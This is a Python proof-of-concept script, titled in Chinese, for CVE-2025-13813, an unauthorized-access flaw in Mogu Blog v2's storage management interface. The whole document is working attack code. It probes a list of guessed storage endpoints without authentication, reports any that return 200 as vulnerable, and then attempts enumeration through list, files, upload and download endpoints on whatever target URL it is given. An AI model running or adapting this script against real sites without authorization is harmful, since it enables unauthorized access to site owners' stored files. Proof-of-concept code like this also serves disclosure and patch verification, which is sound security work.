CVE-2025-13813 Mogu Blog v2 存储管理接口未授权访问漏洞

# CVE-2025-13813 PoC - Mogu Blog v2 Missing Authorization in Storage Management # Affected Component: /storage/ endpoint # Vulnerability Type: Broken Access Control / Missing Authorization import requests import sys def check_vulnerability(target_url): """ Check if the target Mogu Blog instance is vulnerable to CVE-2025-13813 """ # Add trailing slash if not present if not target_url.endswith('/'): target_url += '/' # Target the storage management endpoint storage_endpoints = [ 'storage/', 'api/storage/', 'admin/storage/', 'storage/list', 'storage/files' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-13813: Mogu Blog v2 Storage Management Authorization Bypass") print("-" * 60) vulnerable = False for endpoint in storage_endpoints: url = target_url + endpoint print(f"\n[+] Testing endpoint: {url}") try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) print(f" Status Code: {response.status_code}") # Check for successful unauthorized access if response.status_code == 200: # Check response content for storage management interface if 'storage' in response.text.lower() or 'file' in response.text.lower(): print(f" [VULNERABLE] Endpoint accessible without authentication!") print(f" Response length: {len(response.text)} bytes") vulnerable = True # Try to enumerate files/directories if 'index' in response.text or 'list' in response.text: print(f" [INFO] Storage listing may be available") elif response.status_code == 401 or response.status_code == 403: print(f" [SAFE] Endpoint requires authentication") else: print(f" [INFO] Unexpected status code") except requests.exceptions.RequestException as e: print(f" [ERROR] Request failed: {str(e)}") return vulnerable def exploit_storage_access(target_url): """ Attempt to access storage management features without authorization """ if not target_url.endswith('/'): target_url += '/' print("\n[*] Attempting storage enumeration...") # Try various storage operations endpoints = { 'list': 'storage/', 'files': 'storage/files', 'upload': 'storage/upload', 'download': 'storage/download' } for op_name, endpoint in endpoints.items(): url = target_url + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] {op_name} endpoint accessible: {url}") print(f" Sample response: {response.text[:200]}...") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13813.py <target_url>") print("Example: python cve-2025-13813.py http://target.com") sys.exit(1) target = sys.argv[1] is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[!] Target appears to be VULNERABLE to CVE-2025-13813") print("[*] Running extended enumeration...") exploit_storage_access(target) else: print("\n[*] Target does not appear to be vulnerable")